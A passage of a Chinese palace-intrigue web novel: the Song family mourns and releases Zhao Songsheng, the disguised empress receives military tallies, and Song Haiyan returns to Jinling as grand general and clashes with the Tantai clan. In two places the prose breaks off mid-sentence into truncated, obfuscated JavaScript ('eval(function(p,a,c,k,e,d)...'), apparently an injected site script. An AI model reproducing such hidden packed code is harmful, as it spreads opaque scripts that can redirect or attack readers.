身前的人良久静默,冯大用忍不住微微侧头,用眼角的余光瞥向眼前的少年将军。 他在宫中当差多年,最擅长的就是察言观色,体察上意,也因此得到皇帝和太皇太后青睐,到正光殿任御前太监总管。虽不到两月,已将皇帝的秉性摸得一清二楚。 唯有一事意外。 三日前,他从皇帝手中接过这方木匣、听皇帝要转述给宋海晏的这一句话后,他琢磨了整整三天,也不解这九个字是何含意。一直到进入庐江城之前,仍在费心琢磨。 他自然不敢偷看匣中究竟何物,只寄望于能从宋海晏的回答中得知一二答案,回去交差时也能揣摩圣意,在皇帝面前讨好。 可宋海晏竟不发一词。 少年将军挺拔如松的身姿伫立在原地,静得似乎没有呼吸。他双目轻阖,若非眼睑下羽睫微微颤动着,几乎让人怀疑他的魂魄已离此身而去,只留下蝉蜕般的躯壳。 冯大用站得双腿酸麻,终忍不住催促道:“宋将军,您可有话要回给陛下?” 那一双羽睫终于打开,宋海晏又看了一眼道:“请常侍稍候,臣有一物,请转呈陛下。” 宋海晏转身匆匆离开,不多时折返,手中拿着一支镔铁箭。 他双手将镔铁箭呈上,道:“请常侍将此箭转交给陛下。” 冯大用瞳孔一缩,下意识后退半步,双手悬在半空,不敢接下这支铁箭,口中支吾道:“宋将军,这……这……这不太合适吧?” 箭者,凶器也。 宋海晏如今身为一镇诸侯,送给皇帝一支铁箭。往大了说,是对朝廷有敌对之心,往小了说,也是大不敬的罪名。 宋寒章战死鸬鹚泽,宋海晏差点死在洛阳城下,朝野民间本颇多阴谋之论,无外乎宋氏功高盖主,遭帝王猜忌云云。宋海晏新继任庐江刺史,就送给皇帝一支镔铁箭,若是传扬出去,谣言必成鼎沸之势。 宋海晏神色从容:“内官不必担心,陛下自然知道其中意思。” *** 十月十三,宋寒章入葬庐江城外东山的宋氏祖茔。 次日,何长龄率部众离开庐江,返回荆州。宋海晏与宋碧棠兄妹一同将何长龄送出城,直至十里长亭方才折返。 兄妹二人回到宋氏大宅时,家仆宋吉迎了上来,面露愁苦之色,道:“主君,赵二公子绝食七天,至今仍不肯吃东西,今早竟一时昏厥。不知主君打算如何处置此事?” 自宋寒章战死,宋碧棠察觉赵金镝背叛之后,便将赵松声关入地牢。一开始,赵松声不吵不闹,坚信父亲绝不会背叛。 后来赵家阴谋败露,赵金镝、赵鹤年父子双双身亡,宋碧棠知赵松声性情刚烈,怕他知道消息无法接受,只命人瞒下消息,加强守卫,等宋海晏回来再处置此事。可赵松声不知怎的还是得知了消息,再也不肯吃狱卒送来的食物。 宋海晏刚回庐江,继任宋氏家主,一边要安定人心,一边要主持葬礼诸务,宋吉也不好拿这等小事来扰他,直到今日诸事已毕,才将这事报了上来。 宋海晏沉思片刻,道:“赵氏父子已经以死谢罪,如今赵氏宗族已经离开寿春,赵松声既对此事并不知情,没必要再多赔一条性命。宋吉,你告诉他,他和碧棠的婚约就此作罢,让他自行离开,投奔亲族去吧。” 宋吉叹了一口气,道:“主君顾念旧情,但赵二公子性情执拗,如今绝食多日,纵使他恢复自由,只怕也会步父兄后尘,自寻短见啊。” 宋海晏眉梢微沉,觉得此事十分为难,沉吟道:“我去劝劝他……” 宋碧棠见他神色疲惫,道:“阿兄多日劳累,先去休息。阿兄既无杀人之意,此事便交给小妹处置吧。” 宋海晏知妹妹处事颇有分寸,点点头道:“这样也好。” …… 宋吉提着灯笼,引着宋碧棠穿过回廊,直往宋氏私牢而去。廊下寒风穿堂,烛火明灭不定,更添几分阴森。 推开厚重的牢门,只见赵松声斜倚在草席上。多日绝食已让他形销骨立,昔日丰神俊朗的面容凹陷下去,颧骨突出,干裂的嘴唇结着血痂,一双清亮如星的眼眸,如今只剩一片死寂。 两名看守正强行按住他,用水囊往他唇中灌水,可赵松声紧咬牙关,任清水顺着脖颈往下淌,也不肯咽下半滴。 宋碧棠见此情景,心头一阵酸楚,轻声道:“你们且退下吧。” 待众人离去,地牢里只剩宋碧棠和赵松声两人。 这一双小儿女自幼缔结婚盟,青梅竹马一起长大。但经历背叛,一切再回不到从前了。 赵松声听到宋碧棠的声音,并不往这边瞧。他闭上双眼,蜷缩在角落的阴影之中。 昏黄烛火在石壁上投下明明灭灭的虚影,宋碧棠拿起水囊,跪坐在草席上,将清水凑到赵松声唇边,低声道:“表兄,阿兄已经赦免了你,允许你离开庐江。如今,赵氏阖族已迁往巴蜀之地,如果你愿意,就喝了水,然后起身,去巴蜀寻找你的亲人……” 赵松声将头偏到一边,眼睛仍闭着,声音虚弱:“阿棠,我阿父背叛宋家,还害得宋将军命丧黄泉……阿晏宽厚,饶我不死,可我又有何颜面苟活?阿棠,你若顾念旧情,就给我一杯毒酒,让我一了百了……” 宋碧棠咬住下唇,眼眶泛红,“表兄,难道你宁愿忍辱含垢而死,也不愿意为亲人报仇吗?” “报仇?”赵松声喉间溢出一声沙哑而悲怆的冷笑:“父亲背叛在先,宋家网开一面,放赵氏全族生路已是天大恩情,我拿什么去报仇?又要向谁报仇?” 宋碧棠轻轻摇头,“表兄,你的仇人并不是宋家,而是江左齐阀。阿兄一路追逐拓跋雄到北方太行山,拓跋雄临死之前,吐露了一桩秘密,你父亲背叛宋家,陷害我阿父是因为齐阀许以重利,你父亲受到蛊惑,这才行差踏错……” 赵松声睁开眼睛,眸中亮光一闪:“你说什么?” 那一抹光很快黯淡,他又苦笑一声,“阿棠,你素来聪明,但我家和江左齐家并无来往。这番话想必是你编来骗我的吧……” “我岂会骗你……”宋碧棠低声道:“当日陆家姑父进入寿春城后,调查过你父亲的死因。你父亲并非在寿春家中自杀,他曾带着四名亲卫出城到淮水边的东关渡,在那里与人暗中见面,之后被毒杀,尸体当晚被人暗中带回家中,伪装成自杀的模样……陆姑父说多半是齐阀杀人灭口,只是苦于找不到证据……你若不信我,离开庐江之后,可以到舒城,亲口询问陆家姑父……” 赵松声浑身一震,原本涣散的目光骤然凝聚。 他挣扎着坐起来,颤巍巍地伸出手,接过宋碧棠手中的水囊,仰头灌了下去,干涩的喉咙发出“咕咚咕咚”的吞咽声,随即剧烈地咳嗽起来。 宋碧棠伸手轻抚他颤动的背脊,道:“你慢点喝……” 赵松声喘息几声,苍白的面容也泛起潮红:“阿棠,谢谢你告诉我这些。若我父兄果真是被人害死,我一定要查明真相,找到真正的仇人。我这便去舒城,向陆将军问个明白……” 他撑着墙壁缓缓起身,但因长久未进食而双腿发软,踉跄了一下,宋碧棠连忙扶住他,道:“你现在这样如何去得,不如先吃点东西,等身体恢复了之后再去。” 她朝门外喊道:“宋吉。” 宋吉很快出现在门口:“女公子有何吩咐?” 宋碧棠道:“你带表兄去客房,命人准备点稀粥,再找个靠谱的郎中,替他调养身体。” 宋吉道:“是。” 宋吉很快唤了家仆进来,将赵松声安置到客房休息。赵松声不再一心求死,连每日郎中开的药也喝得一干二净。 到第三日的清晨,宋吉去客房送饭之时,房中已经空无一人,赵松声什么也没有带走,只在枕头下留下一对白玉双鱼佩。 宋吉遍寻不着赵松声,只好将此事禀报给宋海晏,并将一对双鱼佩呈上。 宋海晏握着这一对玉佩,久久凝神。 这对双鱼佩是当初宋碧棠与赵松声定下婚约时的信物,赵松声留下此物,意指解佩还珠,前尘已矣,此后一别两宽,各安天涯。 自赵金镝选择背叛宋家,这桩婚约已如覆水难收,然一双璧人从此陌路永绝,不免令人唏嘘怅惘。他想了想,命人请宋碧棠过来。 “阿兄,你找我……” 少顷,宋碧棠的声音从门外传来。 紧接着帘栊一动,少女纤秀的身影出现在门口。 宋海晏侧过头,看向自己的妹妹,轻声道:“阿棠,松声走了。” 宋碧棠看了看空荡荡的客房,又看了看兄长手上一对玉佩,她垂下眼睫,声音清寂:“我知道他早晚会走,他会先去舒城找陆家姑父问他父亲的事……接下来,或许会去找齐家报仇。总之,他不会再回庐江了。” 说着,她抬手理了理鬓角的头发,轻轻舒了一口气,道:“这样也好……” 宋海晏心中一动,发生了这样的事,不只是赵松声无法面对碧棠,碧棠同样难以面对他。 宋碧棠能谋善断,远胜自己,才能在拓跋雄大军压境的时候兵行险着,保住庐江城。但七月间宋碧棠扣押赵松声到如今,整整三个月过去了。人是杀是放,宋碧棠早就可以决断,竟一直拖到他回来再做决定。 情仇相阻至相绝,再理智的人心中也不可能毫无波澜。父亲死了,他身为长兄,理应照顾好妹妹。 宋碧棠忽地抬眸,“阿兄,能不能陪我出去走走?” “当然。”宋海晏起身,与宋碧棠一起向门外走去,宽慰道:“阿棠,等三年孝期满后,阿兄再为你寻一门好亲事。” 宋碧棠却摇了摇头,“此事不急,父亲大仇未报,碧棠绝不成婚。” 宋海晏不赞许地摇头:“阿棠,报仇是兄长的事。” “那便等兄长娶了嫂嫂之后,碧棠再出嫁。”宋碧棠道。 宋海晏不由脚步一顿。 若是等他娶妻,再为妹妹寻觅夫婿,真不知猴年马月去了,他正欲劝说,宋碧棠已停下脚步,立在雕栏之前,轻声道:“先不说我的事,我正有一疑问,想问阿兄。” 宋海晏上前一步,与她并肩:“什么事?” 宋碧棠仰起头,看向他的眼睛:“阿兄,长乐公主真的死了吗?” 宋海晏微微侧过头,“碧棠怎么突然问起这个?” 宋碧棠道:“阿兄,那日宫中内监前来传旨,还送来一只木匣。阿兄将圣旨随意抛在一旁,却将那只木匣子当宝贝一般收藏起来。这几天,我经常见到阿兄一个人抱着那个木匣子发呆,那神情和你去年六月从药师庵时回来的时候差不多。好几次我叫阿兄,阿兄都没有听见……” 她顿了一顿,目光紧紧盯着兄长的侧脸,道:“我还听陆家表哥说,去年阿兄去金陵娶亲,宫中的人说长乐公主死了,阿兄就是不信,非将新继位的皇帝陛下认作公主,差点冒犯天颜。”宋碧棠幽幽一叹,“哥哥从前在军中为斥候,能辨认每一只信鸽的不同,绝不会眼瞎到认错自己心爱之人,所以我猜,皇室欺骗了我们,长乐公主并没有死,她就是当今皇帝陛下。那木匣里面的东西,就是她让人送给你的,对吗?” 宋海晏一怔,脸上露出一丝苦笑,无奈地摇了摇头:“阿棠,什么都瞒不过你。” 宋碧棠嘴角微微上扬,露出一抹慧黠的笑意:“阿兄,自小你有什么事能瞒得过我?” 宋海晏没有回答这个问题。 风从北地吹来,落下薄雪。宋海晏抬起头,望着薄雾笼罩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“皇帝聪慧过人,朝中诸事,自可决断,无需向哀家禀报。”太皇太后打断她的话。 萧含光只得应道:“是。” 待那盆蜡梅疏去多余枝叶,显出嶙峋瘦骨,太皇太后才满意地放下手中剪刀,说道:“今日哀家唤皇帝过来,是为两件事。第一,是关于宫中防务的事。十年前,先帝身体渐渐不好,军队也慢慢被齐家掌握,这是哀家的过错,现在说这些,为时已晚。但禁军首领李藏甲和金陵卫尉韩毅,都是先帝着力培养、忠诚可用之人。凭此两枚虎符,即可调动大军,此乃我大楚根基所在,今日便交予皇帝。” 太皇太后从袖中取出两枚虎符,放在几案之上,推向萧含光那边。 虎符形如卧虎,青黑斑驳,寒光沉郁,自有一股森冷气息。 萧含光呼吸乱了节奏,心跳也急促起来。 太皇太后将玉玺交给她,只是认可她作为皇帝的身份。现在,太皇太后拿出两枚虎符,才是将手中握有的筹码一并给她,将大楚的前途交托到她的手上。 太皇太后目光沉凝,又道:“齐阀据有扬州之地,但宋海晏继任庐江刺史,背后又有荆州何长龄的支持,足以和齐家分庭抗礼。而今门阀势大,皇权式微,如何权衡利弊,外御胡虏,保淮水防线不失,内安民心,止内乱于未萌,就要看皇帝的本事了。” 萧含光郑重收起虎符,沉声道:“孙儿谨记。” “其二,便是立储之事。”太皇太后凝望着她,轻声道:“你不是男儿,但大楚终究需要一个真正的继承人……” 萧含光心中一个激灵,“太皇太后打算立颍川郡王为太子?” “若要立齐氏子嗣,哀家何苦拆散你与宋海晏的姻缘,又何必让你女扮男装、登上皇位?”太皇太后道,“哀家所说的,是你兄长的血脉……” 萧含光怔住,“我哥哥的孩子?” 太皇太后点头,又道:“你哥哥在娶宝珠为太孙妃之前,东宫便有两名侍奉的宫人。其中一人怀有身孕,但宝珠入宫不久,这名宫人便不知所踪了。宝珠的性子我知道,拈酸吃醋是有的,但害人性命尚不至于。哀家那时想,宝珠出身高门,一时咽不下这口气,等她生下嫡子,再好好劝劝她,让她将人接回来。” “但后来,她接连小产,嫡子迟迟没有着落。你哥哥去世时,她怀胎的月份大了,哀家不敢告诉她这个消息,只命人连夜将她送到白鹭台的行宫养胎,不想生出来是个死胎,宝珠也因此疯了。她这一疯,那对母子的消息再也无人知道了。” 萧含光心中犹疑,问道:“就算是宝珠暗中将皇嗣藏了起来,但她身为太孙妃,总不会亲自干这种事,只要将她身边的人全部拿住审问,不就一清二楚了吗?” 太皇太后冷笑一声:“她身边皆是齐阀的人。若贸然行事,打草惊蛇,只怕那母子二人性命难保。此事,皇帝需暗中留意,徐徐图之,切莫操之过急。” 萧含光心中悚然一惊,尚未缓过神来,便听太皇太后续道:“哀家当年一共生了五个皇子,只有你父亲活到成年。护国寺的和尚说你祖父杀业太重,需要你出家赎罪,可宝珠成婚以来,怀了三胎,皆是小产。如今想来,她身边皆是齐家之人,哀家当年所用之人,亦多出自齐家……这哪里是什么神佛降罪,分明是人心作祟……可惜,直到齐鸿提出将他的孙子送入宫充作皇子,哀家才明白其中的道理……” 太皇太后深深地看了她一眼:“你本是金枝玉叶,不该长于尼庵。是哀家从前糊涂,这些年来,苦了你了……” 萧含光第一次从太皇太后口中听到“苦”这个字眼,心中忽涌起一股莫大的荒谬之感。 苦吗? 自然是有的。 静仪师太为她起法号为“阿苦”,她从前在药师庵时,心中无数次感到委屈和不平。 可如今高居帝位,如履薄冰,与所爱之人相望不得亲,难道就不苦吗? 她觉得自己应该愤怒。 但这些日子以来,她的愤怒已经太多了,再难以堆积起更多的情绪。 她想了想,成为皇帝本非她所愿,但当都当了,还是清算一下宫墙内外的那些阴谋和罪孽吧。 萧含光回到正光殿时,天色已交黄昏。 飞雪已覆满殿前丹墀,朱墙碧瓦尽染白霜。宫室寂静,唯闻雪落簌簌之声。 她踏入殿内,楚秋筠急忙迎上,将她引入燃着炭火的暖阁,奉上姜茶与手炉,而后禀道:“冯大用参加完宋老将军的葬礼,已从庐江归来,正在外殿候旨,陛下可要召见?” 萧含光点头:“宣。” 不多时,冯大用入内行礼,奏道:“小人幸不辱命,已将木匣亲手交予小宋将军。” 萧含光问道:“小宋将军可有话让你带回?” “小宋将军并无回话,只是托小人将此物带回。”冯大用双手颤颤巍巍地奉上一支镔铁箭,道:“小宋将军说,陛下自然知道这其中的意思……” 他垂着头,不敢去看皇帝的脸,生怕皇帝动怒。 萧含光接过铁箭,淡淡道:“朕知道了,下去吧。” 待冯大用退下,萧含光凝视着手中的箭。这样形制的箭支是宋家传信用的讯箭,去年夏天,宋海晏离开药师庵前,曾经托静仪师太带了一支镔铁箭给她。 如今,又是同样的镔铁箭。 和上一次一样,她用手轻轻转动箭镞与箭身的接口处,中空的箭管果然有一张纸条。 萧含光走到窗边,就着雪光,将纸条展开,只见上面写着同样的八个字:“我心匪石,不可转也。” ——第二卷《我心匪石》完。 50. 第一章 铁甲鞍尘 元宁八年,金陵。 入秋之后,蝉鸣渐渐消歇。长风自江北而来,摇落一城秋色。 金陵城内外遍植桂树,时人将八月之风雅称为“桂花风”。风过闾巷时,既无溽暑蒸灼之苦,亦无霜秋砭骨之寒,只裹挟着丝丝甜香,拂槛穿廊,满城皆闻芬芳。 与桂花风一起席卷整个金陵城的,是一条石破天惊的消息。 今年五月,骠骑将军宋海晏率大军北征,七月即攻下青州。宋海晏率军回朝,接受朝廷的封赏,下午就将入城。 若说起大楚一朝如今风头最盛的人物,非宋海晏莫属。自元宁元年宋寒章战死,宋海晏接掌淮南大军之后,先后四次北征,为大楚一朝开疆拓土,立下赫赫战功。 元宁四年秋天,北魏重整旗鼓,再犯淮水边境。宋海晏率军破敌,又乘胜追击,从北魏手中夺回淮北的宿州、亳州之地。朝廷嘉其功绩,加封卫将军,赐爵长丰县侯。 元宁五年春天,他以淮北为根基,挥戈东进,势不可挡,一举占领徐州。朝廷再颁恩赏,晋为骠骑将军。 今年,宋海晏趁北魏内乱之际,再次出兵,攻克青州和兖州。至此,大楚一朝已经收复黄河南岸的大半领土。 这场大胜,令大楚举国振奋。而金陵百姓茶余饭后热议的,却是另一桩事。骠骑将军如今已是正二品武职,若再行加封,便是正一品的大将军之位了。 大将军为朝廷最高武职,位同三公。大楚立国四十年,从未有人加封此位。先帝萧胥以武立国,一直亲自掌军,并不需要封大将军。 先帝驾崩之后,朝廷最高武职是齐氏第三子齐栋,都扬州军事,领正二品的车骑将军衔,坐镇东南要冲,权势煊赫。虽说以齐阀之声势和地位,齐栋也有受封大将军的资格,但其父齐鸿为司徒,位列三公,为文臣之首。若是齐栋再封大将军,则齐氏一门文武并尊,难免朝野议论,大将军之位就这么空缺了下来。 然前几次朝廷加封,不过遣使者持节往庐江传旨,宋海晏从未亲至金陵。此番却不同往日,宋海晏竟亲率得胜之师,浩浩荡荡回朝受赏。 这破天荒的举动,如投石入水,在金陵城掀起千层波浪。街头巷尾,茶楼酒肆,人人交头接耳,皆在揣度,莫非这空置数十载的大将军之位,终要迎来第一位主人? 午后,从朱雀门到宣武门的长街上,早已挤满了围观的民众。 七年之前,宋海晏曾代表宋家献俘阙下,当少年将军银枪白马踏过朱雀桥时,多少闺中少女曾倚窗窥望。而今岁月流转,当年鲜衣怒马的少年郎,已成为威震四方的一代名将,谁又不想一睹其风采? 然而,有人得志,便有人失意。其中最为愤愤不平的,当属时任征南将军的澹台恭。 七年的时间过去,门阀世家的格局已经和过去大不一样。有的家族声名鹊起,有的家族湮灭无闻,其中崛起速度最快的便是宣城澹台氏。 当年萧胥起兵之时,澹台恭之父澹台勰便是追随者之一。可惜,他运气不太好,一次守城时遇到敌军来袭,澹台勰弃城而逃,吃了军法。澹台恭当时年仅十五岁,便投靠了江左齐氏。他自身骁勇,又不乏谋略,经过数次大战,慢慢积累了战功和名望,成为齐阀麾下一员大将,被封为振威将军。 然而,当年齐氏与澹台都是江南地区的豪族,两者不相上下。如今齐阀声势无二,澹台氏沦为齐氏附庸,而自己纵有将才,却只能仰人鼻息,为他人做嫁衣裳,又如何教人甘心?澹台恭心中实在不是滋味。 直到三年前,澹台氏终于迎来了一个重振家族的契机。 元宁四年,太皇太后齐明霜七十大寿。皇帝为表孝心,在宫中设圣寿宴,朝廷五品以上官员的妻眷皆可入宫向太皇太后祝寿。因太皇太后将颍川郡王养在身边,又特地传懿旨,家中有小儿女不满十岁的,皆要一同入宫,说是给小郡王选几个伴读。 澹台恭的小女儿澹台钰年方五岁,随祖母入宫。皇子伴读一般只选男童,澹台恭并没有将此事放在心上。 第二日,皇帝忽然宣召他入宫。说他的小女儿澹台钰伶俐可爱,颇称太皇太后之意,欲聘为颍川郡王正妃,待年长成婚,以结两家之好。 这对澹台恭而言,不啻于天降甘霖。 江左齐家得势,不就因为是本朝外戚吗? 自古以来,一朝天子便有一朝外戚。昔年萧胥重用妻族,方有齐氏之兴。如今颍川郡王身为皇后嫡子,又独得太皇太后宠爱,储君之位十拿九稳。待来日郡王登基,澹台氏岂不是能像齐阀一样,成为第一等的世家? 去年,西南交州豪强李贲叛乱。皇帝擢澹台恭为正二品的征南将军,平定西南之乱。澹台恭深知此乃天赐良机,既能彰显自身才干,又可壮大澹台氏声威,故而不敢有丝毫懈怠,回到宣城招兵买马,排兵布阵,日夜筹谋。不出半载,便将西南之乱平定。得胜回朝后,皇帝龙颜大悦,封其为宣城侯,荫及子孙。其长子澹台炜获封禁军校尉,次子澹台焕亦得卫尉少丞之职,澹台氏也扶摇而上,成为元宁朝的新贵。 但澹台恭心中并不满足,本朝大将军之位空置已久。既然齐家没这个心思,这至关重要的职位迟早会落入自己手中。他正踌躇满志,却不想半道上杀出个宋海晏来。 金陵坊间传言并非空穴来风,澹台恭已从宫中得到消息,皇帝有意加封宋海晏为大将军,甚至赐下将军府,许他在金陵开府从事。中书省对此无异议,司徒公齐鸿称病,对此不置可否。 宋海晏大破青州之后,陈重兵于濡须口,虎视长江南岸。宋海晏如今除庐江外,掌控北豫州、青州、兖州、徐州,养兵十二万,实乃割据一方的枭雄人物。 然而在澹台恭心中,此人实乃大楚朝廷的心腹大患。当年宋寒章死后,皇帝加封宋海晏为庐江刺史,宋海晏竟让传旨的太监带回一支箭矢,公然挑衅皇帝威权,定是怀有不轨之心。 如今皇帝加封其为大将军,不过是因为宋氏兵强马壮,不得不虚与委蛇。澹台一族作为皇帝的股肱之臣,自当为君分忧,挫其锋芒。 …… 酉时三刻,宋家的马队自宣阳门进入金陵城。 天光西斜,将巍峨的城门镀上一层淡金色。十六铁骑当先开道,清一色乌骓马,旌旗猎猎,蹄声如雷。 忽然号角长鸣,城门洞开处,一匹照夜白马缓步踏入金陵城。马背上之人身披玄铁鳞甲,面上青铜兽纹面具森然可怖,只露出一双眼睛——那眼神如出鞘之刀,目光所过之处,围观者无不垂首侧目,生出如芒在背之感。 宋海晏勒马而立,骏马长嘶一声,鼓角雷动,在他身后,五百步卒列阵而入,铁甲铿锵,长矛如林。金陵承平已久,百姓何曾见过这等军威,一时皆屏住呼吸。 行至朱雀大街时,人群忽然骚动。一条发狂的野狗忽地从巷口冲出,围观行人避之不及,一下子被挤到道路中央。马队中响起一声长哨,然最前方的战马收势不及,不意撞上了被挤到路中的一名乞丐。 骑兵猛勒缰绳稳住身形,却见那乞丐已滚倒在地,捂着胸口哀嚎:“将军纵马伤人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大局抵定,宋海晏抬起的右手放下。宋家甲士有条不紊,收拢阵型。 一声马哨响起,宋家马队重新整队,踏着满地狼藉,带着被俘虏的澹台炜,昂首挺胸,扬长而去。 …… 朱雀大街一家酒楼的二楼雅阁内,澹台恭脸色铁青。 他命澹台炜寻衅生事,不过是想抓一个宋家骑兵,略做惩处,压一压宋海晏的面子,也彰一彰澹台氏的威风。 就算羽林军小题大做了一点,那也是按章程办事。他宋海晏再横,难道还敢跟羽林军当街动武不成。 可没想到宋海晏如此跋扈,不仅当街将禁军打了个落花流水,还在众目睽睽之下抓了禁军校尉。这可不光是打澹台氏的脸,更是藐视朝廷法度和天子威严。 “太放肆了——”澹台恭气得将手中茶盏掷在地上,乱瓷飞溅,“备车,即刻进宫——” 澹台家的管事不敢多言,匆匆出门而去。不一会,一辆华丽的青盖朱轮车已停在酒楼的门口。澹台恭上车,马车驶过朱雀大街,径直往宫城而去。 而在酒楼的不远之处的园邸之中,耸出一座高高的露台。露台的一角,隐约可见一抹玄朱色身影凭栏而立,遥遥望着宋氏大军离开的方向。 桂风袭过,翻卷出锦袍下摆处的十二章绣纹,冕旒上的白玉珠晃荡,发出清脆的声响。 萧含光收回目光,看向一旁侍立的近臣,轻声问道:“齐韶,今日之事,你怎么看?” 51. 第二章 虎兕出柙 齐韶眉目低垂,“陛下布局,臣不敢妄言。” 萧含光唇角微扬,浮现一抹似有如无的笑意:“澹台恭登车往宫城而去,应该是要去御前告状。我们先回去吧,别让澹台将军久等了。” 齐韶拱手道:“是。” 萧含光率先下楼,齐韶跟在她的身后,始终落后半步,保持着恰到好处的距离。 七年过去,齐韶愈发看不懂眼前的女子了。 太皇太后齐明霜有手腕、有野心,对于权力有着天然的渴望,只要理解其行事逻辑,便不难猜测其意图。 而萧含光则不同,她每次落子之时,常常让人捉摸不透,直到通盘收官之时,才让人恍然大悟。 譬如,三年之前,天子为太皇太后举办圣寿宴,特命朝中五品以上官员夫人入宫贺寿,还特地要求携带家中十岁以下的幼童,说是要为颍川郡王遴选伴读。这不过些许小事,根本不值得他费心关注。不料第二天,皇帝召澹台恭入宫,为颍川郡王和澹台钰赐婚。 澹台恭老谋深算,借势从齐阀脱离,迅速崛起,俨然一朝新贵。澹台氏世居扬州西边的宣城,本来根基非浅,只是澹台勰死后,家道中落。随着澹台氏重新崛起,齐家的势力就这样被分出一小半。 更让他想不到的是,齐阀竟生生忍住了一口气,并没有什么太大的动作。站在齐鸿的角度,颍川郡王是齐氏之子,是齐氏与澹台氏联姻,而非皇族萧氏。澹台氏确实从齐家的地盘上分走一块肥肉,可这肉终归还是在齐家的锅里。 而对朝廷来说,情况就大不一样了。皇帝行事不再处处受到齐阀掣肘。澹台氏自命外戚,效命皇室更是不遗余力。 澹台恭平定西南之后,便得陇望蜀,几次暗示想要大将军之位。皇帝不置可否,却召宋海晏入朝,于是便有了今日西南大街之上的一出大戏。 澹台家是皇帝手中最好用的棋子,但或许皇帝心中,唯有宋海晏才是可托心腹之人。 如今二者相争,皇帝脸上也不见惊怒之色。即使是跟随皇帝多年的齐韶,也测度不出陛下心中究竟在想什么。 *** 澹台恭入得正光殿,却不见圣驾。御前内监引其至偏殿稍候。澹台恭独坐殿中,饮尽一壶香茗,方见内监匆匆而来,传旨宣召。 澹台恭再次入殿,见天子高坐御位上,冕旒低垂,一双眼睛深邃似幽潭,淡淡道:“澹台将军有何事要奏?” 澹台恭连忙扑通一声跪下,奏道:“陛下明察,宋海晏飞扬跋扈,今日下午一入城,便纵容麾下肆意纵马,踏伤无辜百姓。臣之子澹台炜率羽林卫欲捉拿人犯,那宋海晏竟悍然下令,命甲士与羽林卫当街厮杀,致使羽林卫多人负伤,更将臣儿掳去!” 他伏地哀泣,声泪俱下:“宋海晏拥兵自重,目无王法,可见其狼子野心,实乃社稷大患,陛下不得不防啊——” 萧含光脸上不动声色,问道:“依卿之见,该当如何处置?” 澹台恭道:“宋海晏虽战功卓著,但虎兕出柙,终归是朝廷隐忧,陛下应该多加节制。臣以为,加封宋海晏为大将军一事,还需仔细斟酌……” 萧含光倏然沉下脸,龙颜震怒:“君无戏言!朕旨意既出,卿家是要陷朕于不信不义之地吗?” 澹台恭浑身战栗,连连叩首:“臣万死不敢!” 萧含光揉了揉眉心,声音也沉了下来:“朕问你,若沙场交锋,你与宋海晏对垒,胜负几何?” 澹台恭垂着头,嗫嚅道:“如今宋氏兵强马壮,臣不及也。” 萧含光道:“既然不及,便不要在背地里使那些见不得光的手段,事情闹大了,谁都下不来台。” 天子一双眼如利箭般射来,澹台恭心中一惊,皇帝分明已经知道他暗地里那些动作,急忙叩首道:“臣知罪。” 萧含光挥了挥衣袖,语气稍缓:“宋海晏纵容甲士与禁军当街械斗,确属悖逆不道。朕自当降下明旨,严词申饬,命其放了令郎。澹台卿家若再无奏禀,便且退下吧。” 澹台恭伏地叩首。皇帝此番处置,实乃各施薄戒、息事宁人之举。此事本是澹台炜有意挑衅,自家也理亏。既然皇帝愿意降旨让宋海晏放人,亦不敢再多置喙,躬身而退。 *** 在金陵城东的建春门附近有一处宅邸,本是前朝大司马郦风旧宅。自改朝换代之后,这座宅院便成了皇家产业。这段时日,此地大兴土木,修缮园邸,前日方才彻底竣工,挂上了大将军府的牌匾。 宋海晏率众到达府门时,冯大用已在门口等候,手中拿着明晃晃的圣旨,笑道:“宋将军,陛下有旨意。” 宋海晏下马跪下听旨。冯大用宣道:“诏曰:骠骑将军宋海晏,北征破虏,复土开疆,功盖当世。今晋封大将军,秩正一品,假黄钺,都督豫、青、徐、兖四州军事。赐大将军府。钦此。” 宋海晏领旨之后谢恩,冯大用满脸堆笑:“恭喜大将军,这可是本朝独一份的殊荣。” 面具之下的容颜不见喜怒,“陛下厚恩,臣当效死以报。” 冯大用宣完旨,带着随行的内监浩浩荡荡回宫去了。 宋吉连忙上前,引宋氏军将往将军府中安置。宋吉如今已是宋氏管家,七日之前就到了金陵打前站。这几日时间,他早安排下营房马厩,以备甲兵驻扎,又按照宋海晏的喜好添置家私器具、采买僮仆等等。宋海晏七年不到金陵,如今受封大将军,一时半会不会再回庐江。宋吉竭智尽力,使将军府的一切称主君之意。 待宋吉将一切都安排妥当,见宋海晏仍旧是一身重甲,立在将军府阙门之下。宋吉上前,道:“主君,今日宣旨已毕,明日主君再入朝谢恩即可。今日无他事,主君何不卸甲歇息?” 宋海晏摇头:“等等,一会冯大用还会折返回来,等他离去再休息未迟。” 不一会,果然见冯大用急匆匆赶来,道:“宋将军,今日下午朱雀大街的事只是一场误会。陛下有旨,命大将军你先放了澹台校尉……” “误会?”宋海晏哂了一声,猛然厉喝道:“来人,将澹台校尉带出来,鞭笞五十——” 冯大用大惊失色:“宋将军万万不可——” 宋海晏笑容森寒,“如何,冯常侍也要同澹台校尉一样,拿我问罪不成?” 冯大用哭丧着脸,声音颤抖,“小人不敢。” 宋海晏眼中戾气横溢:“既然不敢,就好好看着。” 很快就有甲兵将澹台恭拿出,绑在一棵树上。皮鞭破空声骤起,院中响起一阵狼哭鬼嚎之声。 冯大用心中叫苦。宋海晏抓了澹台炜,之前并未动刑。却在他奉旨前来要人之时,当着他的面将人鞭打一顿。这样一来,落的不是澹台氏的面子,而是皇帝的面子,他实在想不通宋海晏为什么要这么做。 他不是第一次和宋海晏打交道。七年之前,他曾奉命往庐江传旨,那时的宋海晏颇有世家态度,谈吐风雅,礼数周全。而眼前之人,浑身上下都散发着暴戾恣睢之气,与昔年大相径庭。 他在宫廷浸淫数十载,见过多少人一朝得势,便判若两人。更何况宋海晏历经北境沙场多年,沾染的血腥气早已浸透骨髓,又怎会是昔日模样? 不多时,五十鞭打完,澹台炜已昏迷过去。 宋海晏下令道:“将人带回去,关入地牢。” 